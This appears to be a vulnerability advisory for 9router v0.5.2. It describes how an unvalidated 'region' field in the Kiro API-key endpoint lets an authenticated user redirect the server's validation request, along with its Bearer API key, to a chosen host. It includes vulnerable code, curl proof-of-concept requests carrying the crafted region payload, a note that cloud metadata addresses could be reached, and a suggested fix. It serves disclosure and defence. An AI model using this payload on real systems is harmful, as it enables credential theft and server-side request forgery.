Details
### Summary
The Kiro API-key validation endpoint builds an upstream URL using a user-controlled
`region` value. By supplying a crafted region such as `kiro-canary.local:8443#`, an
authenticated attacker can cause 9router to send the Kiro validation request to an
attacker-controlled host under the constructed `codewhisperer.<region>` hostname. The
request forwards the submitted Kiro API key as an `Authorization: Bearer` header.
### Details
- **Affected version / commit:** 9router v0.5.2 @ `5da508a`.
- **Endpoint:** `POST /api/oauth/kiro/api-key`.
- **Correct runtime payload:** `region: "kiro-canary.local:8443#"`.
- Do **not** use the old `@host#` payload (`region: "@kiro-canary.local:8443#"`); it is
blocked by Node/undici `fetch()` because it creates URL credentials
(`"Request cannot be constructed from a URL that includes credentials"`).
- **Constructed upstream host becomes:** `codewhisperer.kiro-canary.local:8443`
(the `#` turns the trailing `.amazonaws.com` into a URL fragment).
- HTTPS canary captured: `Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO`.
- TLS verification was **not** globally disabled; the reproduction uses a local CA via
`NODE_EXTRA_CA_CERTS`.
- The no-auth control returns 401, so this standalone issue is **authenticated**.
- `SameSite=Lax` on the session cookie prevents cross-site POST cookie delivery, so do
**not** claim drive-by CSRF unless another same-site / auth-bypass primitive is
chained.
**Root cause.** The route reads `region` straight from the request body and passes it,
unvalidated, into the upstream URL template; the bearer credential is forwarded to that
host, and the upstream response body is reflected back to the client on error:
```js
// src/app/api/oauth/kiro/api-key/route.js
const { apiKey, region } = await request.json();
...
const credential = await kiroService.validateApiKey(apiKey, region || "us-east-1");
...
} catch (error) {
return NextResponse.json({ error: error.message }, { status: 500 }); // reflects upstream body
}
```
```js
// src/lib/oauth/services/kiro.js — listAvailableProfiles()
const endpoint = `https://codewhisperer.${region}.amazonaws.com`; // region interpolated
const response = await fetch(endpoint, {
method: "POST",
headers: {
"x-amz-target": "AmazonCodeWhispererService.ListAvailableProfiles",
"Authorization": `Bearer ${accessToken}`, // credential forwarded
...
},
body: JSON.stringify({ maxResults: 10 }),
});
if (!response.ok) {
const error = await response.text();
throw new Error(`Failed to list profiles: ${error}`); // upstream body -> error.message
}
```
There is no allowlist on `region`, and the call uses the default fetch dispatcher (no
internal-IP denylist / DNS pinning), so a `codewhisperer.<attacker-domain>` that resolves
to an internal address (e.g. `169.254.169.254` or RFC1918) would be reached.
### PoC
Start the package:
```bash
docker compose up --build
```
The endpoint is authenticated, so first obtain a dashboard session using the password
configured in `docker-compose.yml` (`INITIAL_PASSWORD`), saving the cookie:
```bash
curl -i -c session.txt -X POST http://127.0.0.1:18184/api/auth/login \
-H "Content-Type: application/json" \
-d '{"password":"repro-dashboard-pass"}'
```
Then send the region-injection request with that session cookie:
```bash
curl -i -b session.txt -X POST http://127.0.0.1:18184/api/oauth/kiro/api-key \
-H "Content-Type: application/json" \
-d '{"apiKey":"DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO","region":"kiro-canary.local:8443#"}'
```
Expected:
- 9router returns a 500 whose body contains a controlled canary marker, indicating the
validation request reached the canary and its response was reflected.
- `docker compose logs kiro-canary` shows a request with:
- `Host: codewhisperer.kiro-canary.local:8443`
- `Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO`
No-auth control (no session cookie):
```bash
curl -i -X POST http://127.0.0.1:18184/api/oauth/kiro/api-key \
-H "Content-Type: application/json" \
-d '{"apiKey":"DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO","region":"kiro-canary.local:8443#"}'
```
Expected: 401 Unauthorized.
Safe-region control (`region: "us-east-1"`): no canary hit; the blackholed AWS host is
never contacted.
### Impact
An authenticated attacker can make the server send a Kiro validation request to an
attacker-controlled host and forward the submitted Kiro API key in the Authorization
header. This can be used for SSRF and credential forwarding during Kiro API-key
validation. The issue is authenticated as a standalone bug.
### Screenshots
The following screenshots show the safe-region control, the region-injection SSRF trigger, the HTTPS canary evidence, and the no-auth control.
#### 1. Safe-region control — normal Kiro validation path
<img width="1548" height="831" alt="01-kiro-safe-region-control" src="https://github.com/user-attachments/assets/0a07d82c-16f0-4af3-97f2-145578c9e47b" />
>**An authenticated request to `/api/oauth/kiro/api-key` using the valid region `us-east-1` and a dummy API key completes normally with `200 OK`. This establishes the expected non-malicious validation path.**
#### 2. Region-injection SSRF trigger — canary marker reflected
<img width="1547" height="840" alt="02-kiro-region-injection-ssrf-500-reflection" src="https://github.com/user-attachments/assets/f31a1471-ce8b-490c-a439-58089b3ac780" />
>**An authenticated request supplies the crafted region value `kiro-canary.local:8443#`. Because the upstream URL is built from the raw `region` value, the request is routed to the attacker-controlled canary host under the constructed `codewhisperer.<attacker-domain>` hostname. The response contains a canary marker, confirming the server-side request reached the controlled endpoint.**
#### 3. HTTPS canary evidence — Authorization header forwarded
<img width="1476" height="960" alt="03-kiro-canary-authorization-captured" src="https://github.com/user-attachments/assets/2f445daa-307b-4223-92e8-7482d745d2b1" />
>**The HTTPS canary logs show a server-side request from the 9router container with `Host: codewhisperer.kiro-canary.local:8443` and `Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO`. This confirms that the injected region controls the constructed upstream host and that 9router forwards the submitted Kiro API key to that host.**
#### 4. No-auth control — endpoint requires authentication
<img width="1544" height="839" alt="04-kiro-no-auth-control-401" src="https://github.com/user-attachments/assets/664955ab-35a3-4c5f-bd5e-bd049f17b0c9" />
>**The same region-injection payload is sent without an authenticated session cookie, and the server returns `401 Unauthorized`. This confirms the issue is authenticated as a standalone vulnerability and should not be described as unauthenticated unless it is chained with a separate authentication bypass.**
### Suggested Fix
- Validate `region` against a strict allowlist of known Kiro/AWS regions
(e.g. `^[a-z]{2}-[a-z]+-\d$`).
- Construct upstream endpoints only from fixed enum values.
- Reject region values containing colon, slash, hash, at-sign, userinfo, whitespace, or
hostname separators.
- After URL construction, validate that the final hostname exactly matches the expected
AWS/Kiro hostname pattern.
- Do not forward Authorization headers to hosts derived from untrusted input, and stop
reflecting upstream response bodies in `error.message`.
EPSS — exploit probability
Low0.29%
estimated chance of real-world exploitation in the next 30 days — higher than 22.3% of every CVE FIRST.org scores
Refreshed 9/23/2026 — via FIRST.org's EPSS model, not CVSS — this measures likelihood of exploitation, not how severe it would be.